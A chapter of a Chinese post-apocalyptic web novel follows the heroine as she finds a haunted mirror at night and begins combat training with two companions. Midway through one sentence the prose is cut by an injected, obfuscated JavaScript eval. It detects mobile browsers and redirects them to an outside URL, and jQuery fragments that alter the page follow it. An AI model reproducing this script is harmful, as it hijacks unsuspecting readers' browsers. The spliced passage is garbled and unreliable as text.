她也要走上这条路了吗? 之前在禁区里,除了最后被影子围困的那一阵,她几乎没真正动过手。一直是阮天清挡在前面,俞不晚在侧翼策应。就连后来开枪、抡锤,她也能告诉自己,那只是对付非人的东西。 可若是跟着她们正经学起来……这些技艺一旦沾手,日后要面对的,恐怕就不只是禁区里的怪物了。 灶上的蒸锅噗噗地冒着白汽,带着调料的咸香。俞不晚在哼不成调的曲子,而阮天清正冲洗着匕首上的血渍。一切如常,烟火气在这座装潢温馨的庇护所内弥散开来。 只有叶抒年知道,她心里有什么东西,正在悄无声息地跨过一条界线。 她将剔好的肉放进碗里,拿起旁边干净的布,慢慢擦净手指。动作很仔细,像是要记住这双手尚且只处理食材的此刻。 然后她抬起头,对阮天清笑了笑:“那就说定了。明天开始?” 46. 第46章 荒芜地的夜晚充满异兽嚎叫,惹得人辗转难眠。第六次起身喝水后,叶抒年索性不睡了,坐在床边调试主卧的功能操控面板。 这设计最初便由系统附带而来。面板上内容繁杂,叶抒年刚回来不久,对大小按钮尚不熟悉,只能凭着想象与感觉随手按压,食指无意间碰触到面板左下角一枚菱形图案的按键。 她还未来得及反应,便听见身旁响起“咔嗒”一声。紧接着,床边的墙壁仿佛有所感应,模糊闪动两下,渐渐转为透明。 顷刻间,屋外的风卷黄沙与苍凉残月一并映入眼帘。叶抒年吃了一惊,连忙伸手去摸,感受到墙壁并未消失,只是化作透明。她这才安心。 这功能类似于观景窗,尽管荒芜地里没什么动人心魄的景色,叶抒年还是挺开心,不急于将墙壁调整回原状,坐在床边观赏起了外景。 她没看钟表,估摸着此刻大约已是凌晨。房中未点灯,唯一的光来自天边那弯残月。月色朦胧,照不亮沙地全貌,眼前仍蒙着厚厚一片阴影,如同她此刻的心。 下午从003号禁区回来之后,她一直忙于修葺二楼,后来又是捉蟹做饭,一刻也不曾真正停歇。直到此刻松懈下来,才有余裕回想日间禁区里的种种。思绪缠绕成一团,理不出头绪。 她最在意的,仍是当初法庭上法典对她的剖析。 虽说一直安慰自己那些话尽是胡诌,心底却隐隐有个声音提醒——那也未必全然是空穴来风。 譬如法典对阮天清异能的判断,便真实不虚,可见它的话未必都能置之不理。想到这里,她便忍不住去回想当时法典对自己的评价。 她是个小偷。 这话究竟是什么意思…… 回想自己前世,一直勤勤恳恳醉心学术,至少没有学术造假,也不曾剽窃他人的研究成果,那么这句谶言与她的前世是对不上号的。 可这样去想,又让思路走入死胡同,毕竟她穿越来这个世界也不过十来天,更不曾做过什么偷窃之事。 想不通。实在想不通。 叶抒年决定暂时放过自己,不再纠结这件事,念头一转,她取出不久前从检察官那儿夺来的项链。 之前俞不晚曾向她透露过,如今世上觉醒者虽不少,拥有空间系异能的人却寥寥无几。 而这类收纳物品更是稀有。目前已知的制造方式,只有空间系异能者耗费念力,将自身部分能力灌注寻常物件之中。可见这项技艺对觉醒者等级要求极高,自然不可能批量制造。 那位检察官……叫什么名字来着? 叶抒年端详手中这条银色金属项链。链子上坠着一枚小小的金属方块,除此以外别无纹饰,倒很符合那人一贯的作风。她不由得想起当时情景。 “宋之珩。”她轻声复述出这个名字,却不曾费力思索,仿佛这名字自然而然便到了唇边。 当时那人看她的眼神很奇怪,仿佛将这条稀世罕见的空间项链交到她手中,也丝毫不会心疼,更不必说里面还储存着对方此前收集的大量物资与武器。 叶抒年当时便觉有诈,却没深想。此刻回来再将意识探入,才明白那眼神的意味。 那人早就说过,东西可以给她,但能否自如使用、取出其中物资,就得看她自己的本事。叶抒年原以为不过是倚仗念力,没想到念力探入后,竟触到一层枷锁。 解开这道枷锁,说来不难,却也难。锁上只有短短一行认证问题,答出便可解锁。 【云雀叫了第几声,才迎来它的主人?】 这什么雷霆问题啊。 叶抒年有考虑过,要不要从零开始一个个数字地尝试。但想了想还是算了。 若它像手机锁屏密码那般,试错几次便会锁住,反倒麻烦。 早知如此,当时就不急着在影子修复前离开禁区了。至少应该拷问一下那个姓宋的,这个问题的答案究竟是什么。 一时间也没法深入对于这条项链的探索,她索性将东西收起来,转而从自己的储物空间里掏出了另一样物件。 眨眼间,一面镶着金丝花边的等身镜立在了她面前。 当时她走得匆忙,也没来得及多想,顺手就将这面镜子一并从禁区里带了出来。此刻,她用手拭去镜面上那层薄薄的灰。月光照下来,镜面便反射出一片洁净的光。 冷光落在她脸庞,使她看清了镜中自己的模样。头发还未剪去,此时仍如瀑布般垂落耳侧,直抵胸前。 好在她先前在床上一阵翻来覆去,将发丝弄得有些凌乱,否则镜中这画面,简直像极了某位曾经在恐怖电影里见过的老朋友。 她又想起白日里,贾笺从镜子里拉出一张影子的情景。那画面太过诡谲,奇异程度不亚于骷髅跳芭蕾,以至于叶抒年耿耿于怀。 因此她明知此刻模仿对方的动作去触碰镜面,也不可能从镜中拽出另一道影子,却还是忍不住伸出手,轻轻抚上镜面。 下一秒,她便后悔了。 因为那原本质感坚硬的镜面,竟在她眼前化作一滩悬空而立的水,甚至随着她的动作,漾开圈圈涟漪! 这画面的诡异程度不亚于贾笺从镜子里拉出一张影子。 这绝不可能是正常现象,叶抒年很清楚,可她就像着了魔一般,抑制不住地继续伸手向前,直至指尖轻触那滩水,传来灼热的触感。 仿佛那不是一滩水,而是冬日炉边刚烧起不久的小火锅,还不至于将人灼伤,却牵引起人们的无尽期待,使人挪不开眼。 冬日火锅诱人,是因为之后能享受暖热美味,所以人们明知靠得太近会烫着,仍不愿退开。而这面镜子对叶抒年的诱惑,在于未知。 如果事情到此为止,她今夜的好奇心便已餍足,甚至能怀着一丝期待安睡。毕竟从禁区顺手带回了这样一件有趣的物件,并且它似乎还有些特殊功用。 然而好奇心害死猫。 下一瞬,叶抒年注意到,镜中的自己忽而渐渐咧开嘴,露出一个诡异的微笑。 这下彻底睡不着了。 她猛地缩回手,一下子扑回床上,一边与镜子拉开几米距离,一边伸手在床头柜上慌乱摸索,终于触到自己特意放在那里的手枪。 只要这面镜子再有更多异样,她就立刻开枪将它击碎。叶抒年这样想着。 不过,这念头并未付诸行动。因为那面镜子仿佛有所感知,识趣地瞬间恢复了原状,连镜中央的水波也消失无踪。 看上去,它不过是一面再普通不过的镜子。 但是叶抒年可不敢再胡来了。她左看右看,觉得这玩意放在屋子里,好像哪都不合适,索性又将镜子收回了储物空间。 让这样一面镜子待在看得见摸得着的地方,总觉得它会趁人不注意便闹鬼。还是收在看不见的地方更安心,反正储物空间里只有一堆杂物和枪械,即便真有鬼,也没人可吓。 收拾完后,叶抒年想了想,将手中的枪支挪到了自己枕头旁。 还是这样比较有安全感。虽然她清楚这间庇护所的安全系数,但以防万一。倘若出现什么变故,她可以第一时间保护自己,直接将变故一枪爆头。 唉,如今的世道。 竟让一个单纯善良的小女孩变成了毒妇。 她不无遗憾地缅怀了一下过去的自己,然后干脆利落地与那个自己告别。 再见了,善良的叶抒年。 虽然,在陋巷,回也不改其乐,但是在末世,年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208493|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却必须杀伐果断。 躺回床上之前,她最后望了一眼窗外的景色,随后操作调试面板,将外墙恢复了原样。 这荒芜地的风景不好看,如果有机会,她要把这庇护所搬到风光秀丽的地方去,届时可以好好发展一下这面墙壁的功能,做个观景房,想必能够吸引一大批顾客。 这个方案一听就很有投资潜力,她仿佛已经看见自己站在物资堆上,洋洋得意地清点着影语石里的积分。 不过有件事比较棘手,到时候她成了废土首富,名声大噪,某些人顺着线索找上门来讨债怎么办? 嗯,看来明天得好好跟着清清她们练习了。 好好练习,不能偷懒…… “好好练习,不许偷懒!”俞不晚骑在一只疣猪上,双腿夹紧猪颈,随即开始绕着叶抒年狂奔。 这猪是她刚才为了给叶抒年示范,随手从沙丘里薅出来的低阶异兽,如今已然光荣成为俞不晚的临时坐骑,此刻一边狂奔一边翻白眼。 叶抒年勉强维持着马步姿势,强忍快要流进眼里的汗。眼看俞不晚骑着猪朝自己直冲而来,越逼越近,她终于忍不住向旁侧挪了一步。 “诶诶,你怎么动了?不是说好坚持半小时不能动嘛,这还差一分钟呢。”俞不晚伸手扣住猪鼻,紧急刹车。其实刚才她一直谨慎把控着距离,掐好了时间调转方向,绝不会撞到叶抒年。 但叶抒年瘫坐在沙地上,大口喘着气,“饶了我吧姐姐……不是说好练枪嘛,怎么让我扎了一下午马步啊!” 这和她想象中的训练截然不同。 不应该是传授她诸多关于枪械的知识,教她如何计算弹道,再训练射击吗? 前不久她看着俞不晚驯服那头猪的时候,还以为这是给她找的移动靶,谁知道竟然是摇摇车。 “我和清清算好了,距离卡墨拉集会还剩半个月,这些天你从基本功练起,逐渐加大训练强度,等那个时候你就算是一名合格的打手了。” 俞不晚一个帅气的翻身,从猪背上下来,顺手将猪拴在庇护所外墙边。她接过阮天清递来的水杯,自己喝了一口,又将水递给叶抒年。 叶抒年猛灌了大半杯水,体内那股燥热总算消退些许,脑子灵活了一点,试图通过岔开话题,让俩人忘记此刻的训练,将休息时间拖长一点。 “你们两个怎么打算的?今后都住在我这儿吗?” 若真如此,她自然万分欢迎。毕竟她很喜欢这两位朋友,甚至暗自想过长久组队的可能,往后进入禁区搜寻物资也方便些。 “我向工会申请了长期外勤。上级会通过筛选,把我的联系方式交给有意雇佣的人。”阮天清说道,“今后我可以长期保护你。只要没有合适的雇主找来,我会一直留在你身边。当然,若有临时任务需要离开,我也会提前告诉你,不会去太久。” 这话简直让叶抒年感动,在这危机四伏的末世里,长久的庇护,听起来简直是世上最动人的承诺。 虽说她们相识不过数日,却也是一同经历过生死的。更何况彼此配合这般默契,她想了想,觉得对方作此决定也在情理之中。 于是她又转头看向俞不晚。 俞不晚正垂着头,不知在思索什么,想来也应与方才的提问有关。只是她思索的时间似乎太久了些,久到叶抒年身上的酸痛都已悄然消散。 就在叶抒年疑心她是否被什么附了身,正要上前察看时,对方才倏然抬起脸。 “我……可以留下吗?” 长长的睫毛下,那双眼睛里闪着光,几分期待,几分犹疑。这姿态与她们初见时重叠,神情却全然不同。 以至于叶抒年有一瞬的恍惚,以为是自己的错觉。